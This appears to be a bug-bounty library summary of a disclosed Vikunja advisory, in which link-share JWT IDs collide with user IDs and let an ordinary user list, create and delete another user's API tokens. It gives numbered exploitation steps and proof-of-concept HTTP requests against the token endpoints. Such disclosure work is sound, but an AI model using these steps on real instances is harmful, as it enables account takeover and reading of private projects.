# Vikunja: Link-share principal ID collision allows cross-account API token issuance and management

Link-share JWT principal ID collides with users.id, letting an ordinary user mint, list and delete API tokens owned by another Vikunja user.

- Payout: Research
- Severity: high
- Program: Vikunja
- Found by: ryuyunseong
- Disclosed: 2026-10-09
- CVE: CVE-2026-68581
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-vvcv-vpph-h844
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vvcv-vpph-h844
- Tags: area:web domain:api domain:web impact:ato impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** /api/v1/tokens API-token management endpoints behind generic auth middleware
**Root cause:** Generic web.Auth.GetID() returns link_shares.id, which API-token handlers treat as users.id for owner_id on create/list/delete; no principal-type check exists (CanCreate always true).
**Steps:**
1. Authenticate as ordinary user; `GET /api/v1/users?s=<TARGET_USERNAME>` returns target numeric `id`.
2. Create link shares on attacker-writable project: `PUT /api/v1/projects/<ATTACKER_PROJECT_ID>/shares` with `{"name":"collision-validation","permission":0}` until returned share ID equals target user ID.
3. Authenticate the colliding share: `POST /api/v1/shares/<SHARE_HASH>/auth` with `{}` to get a link-share JWT.
4. `GET /api/v1/tokens` with that JWT returns target-owned token metadata (200 instead of 403).
5. `PUT /api/v1/tokens` with `{"title":"collision-validation","permissions":{"projects":["read_one"]},"expires_at":"<FUTURE_TIMESTAMP>"}` creates a token owned by target (201).
6. Use returned token on `GET /api/v1/projects/<TARGET_PRIVATE_PROJECT_ID>` to read target's private project.
7. `DELETE /api/v1/tokens/<TARGET_TOKEN_ID>` with the link-share JWT deletes target-owned token (200).
**How found:** Code review of the generic authenticated route group: noticed web.Auth.GetID() is an untyped int shared by users and link shares, and that APIToken.Create assigns it directly to owner_id with CanCreate returning true unconditionally. Hypothesized independent sequences could collide, then validated on local v2.3.0 Docker with synthetic data.
**Exploitation:** Attacker needs only an authenticated account and a writable project. Enumerate target user ID via user search, then walk the link_shares autoincrement sequence by creating shares until share.ID == target user ID (linear in gap; 4 creations in lab). Authenticate that share to obtain a server-issued link-share JWT, then use it against /api/v1/tokens to list metadata, mint a new API token owned by the target with attacker-chosen valid scopes, and delete target tokens. The minted token authenticates as the target and enforces the target's permissions.
**Escalation:** Chained ID discovery (user search) + sequence walking (share creation) to reach the collision, then pivoted from metadata disclosure to credential issuance for cross-account read/write under target permissions.
**Insight:** When a framework exposes a single untyped GetID() across multiple principal types, grep every model that writes that value into an owner/tenant column and check whether the handler verifies principal type; independent autoincrement sequences make collisions reachable by walking one sequence.

## Proof of concept (copied exactly from the original report)

**Link-share JWT lists target's API tokens**

```
GET /api/v1/tokens HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_LINK_SHARE_JWT>

The response returns metadata for tokens owned by `<TARGET_USER_ID>`. It does not return their raw credential values.
```

**Link-share JWT mints target-owned API token**

```
PUT /api/v1/tokens HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_LINK_SHARE_JWT>
Content-Type: application/json

{
  "title": "collision-validation",
  "permissions": {"projects": ["read_one"]},
  "expires_at": "<FUTURE_TIMESTAMP>"
}
```

**Link-share JWT deletes target-owned token**

```
DELETE /api/v1/tokens/<TARGET_TOKEN_ID> HTTP/1.1
Host: <LOCAL_VIKUNJA_HOST>
Authorization: Bearer <REDACTED_LINK_SHARE_JWT>

On a vulnerable target, this returns success and removes the matching target-owned row.
```

